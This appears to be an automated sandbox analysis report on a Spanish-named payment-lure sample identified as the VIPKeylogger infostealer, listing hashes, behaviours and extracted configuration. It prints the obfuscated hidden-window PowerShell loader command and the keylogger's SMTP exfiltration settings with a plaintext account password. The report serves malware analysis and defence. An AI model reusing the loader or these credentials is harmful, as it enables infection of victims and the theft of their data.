Analysis
-
max time kernel
148s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-10-2024 20:09
Static task
static1
Behavioral task
behavioral1
Sample
justificante de pago.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
justificante de pago.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Fyldiges.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Fyldiges.ps1
Resource
win10v2004-20241007-en
General
-
Target
justificante de pago.exe
-
Size
990KB
-
MD5
d3c00b7eda8c538a2938610398e69a74
-
SHA1
cd93e03dc64c2064d0aa586e00a00f9c99ea36bc
-
SHA256
2e2dd6f6dd471723ad206f6b8f154f3a84aba592e2838942b5e35b4378522ef4
-
SHA512
719c03d1ded02334f1f74812f8e4a193f9028291eb190d4e241b4b34b055c6c7deef31bf33bea047a551ee14df35443a6cefe294907ac87b0918dade5f470837
-
SSDEEP
24576:J+63+OSOWAnNN591nNr8xAGuwIm/yWiopvC9wF:J+tOSqnNN591S/RaWi6MwF
Malware Config
Extracted
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
#BOYS_2019_ToNa#
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
#BOYS_2019_ToNa# - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 9 IoCs
Processes:
msiexec.exeflow pid process 31 1444 msiexec.exe 33 1444 msiexec.exe 35 1444 msiexec.exe 37 1444 msiexec.exe 39 1444 msiexec.exe 44 1444 msiexec.exe 48 1444 msiexec.exe 60 1444 msiexec.exe 66 1444 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 43 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid process 1444 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid process 536 powershell.exe 1444 msiexec.exe -
Drops file in Windows directory 3 IoCs
Processes:
justificante de pago.exedescription ioc process File created C:\Windows\resources\0409\syntonolydian\statsminister.lnk justificante de pago.exe File opened for modification C:\Windows\resources\0409\federalt\Telephonists230.Ube justificante de pago.exe File opened for modification C:\Windows\resources\snagline.sub justificante de pago.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
justificante de pago.exepowershell.exemsiexec.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language justificante de pago.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exemsiexec.exepid process 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 536 powershell.exe 1444 msiexec.exe 1444 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 536 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exemsiexec.exedescription pid process Token: SeDebugPrivilege 536 powershell.exe Token: SeIncreaseQuotaPrivilege 536 powershell.exe Token: SeSecurityPrivilege 536 powershell.exe Token: SeTakeOwnershipPrivilege 536 powershell.exe Token: SeLoadDriverPrivilege 536 powershell.exe Token: SeSystemProfilePrivilege 536 powershell.exe Token: SeSystemtimePrivilege 536 powershell.exe Token: SeProfSingleProcessPrivilege 536 powershell.exe Token: SeIncBasePriorityPrivilege 536 powershell.exe Token: SeCreatePagefilePrivilege 536 powershell.exe Token: SeBackupPrivilege 536 powershell.exe Token: SeRestorePrivilege 536 powershell.exe Token: SeShutdownPrivilege 536 powershell.exe Token: SeDebugPrivilege 536 powershell.exe Token: SeSystemEnvironmentPrivilege 536 powershell.exe Token: SeRemoteShutdownPrivilege 536 powershell.exe Token: SeUndockPrivilege 536 powershell.exe Token: SeManageVolumePrivilege 536 powershell.exe Token: 33 536 powershell.exe Token: 34 536 powershell.exe Token: 35 536 powershell.exe Token: 36 536 powershell.exe Token: SeDebugPrivilege 1444 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
justificante de pago.exepowershell.exedescription pid process target process PID 2944 wrote to memory of 536 2944 justificante de pago.exe powershell.exe PID 2944 wrote to memory of 536 2944 justificante de pago.exe powershell.exe PID 2944 wrote to memory of 536 2944 justificante de pago.exe powershell.exe PID 536 wrote to memory of 1444 536 powershell.exe msiexec.exe PID 536 wrote to memory of 1444 536 powershell.exe msiexec.exe PID 536 wrote to memory of 1444 536 powershell.exe msiexec.exe PID 536 wrote to memory of 1444 536 powershell.exe msiexec.exe -
outlook_office_path 1 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe"C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Minimals=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Fyldiges.Tid';$Aesthete=$Minimals.SubString(54366,3);.$Aesthete($Minimals)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1444
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
53KB
MD5dbe1380eb686fc84a3cd87ee84077382
SHA166a6b15521a3affc3d9b893554475078f41224a0
SHA256b05d49191a62ec38497b0ae6378c984ac2013d6fec29b62d94299d88f5d5d279
SHA51284987e2a263284df3d365caed6b549c93f23ad0982ffa7b8acfd21562c68ad1a2b198a47b2877e6ef4c4d679fe710cefa2df0de37a303a64838ac1b796d9335c
-
Filesize
334KB
MD5ba8f105ada9831d2782a89d76e34a1ae
SHA144bb94c57a6d189426852065ccca1079256f5f02
SHA25642d2a79cf34ec61620daeb158a3014aee8c971a9c63c5ec05bf7e435e2c34669
SHA512233b866ab1bf0977dbb13b13ae42052ac0a4f77c2485dc85de6312598aa70453b944017ac409c3558eccb276ff683ad8bd12aad01a7f90a99fb84c0681bca165
-
Filesize
922B
MD5fceea86194c14beec442f9b0e35e6db6
SHA15609ca9dbaf69a08d3056c48840826575e68c3ae
SHA2561ae6a97fa8c8832286de2a6ab9eec7ad821d555af4b6ae64cc2499d96eefb3e4
SHA5127a41e1ee76e469a6adde5c2626f3fc8e4f7b5ea6055d33ebd4e2bd197f24fdf79081ed51fdc21907b56cdfc855d7913405158d83950a545ece791c5d8bc1535b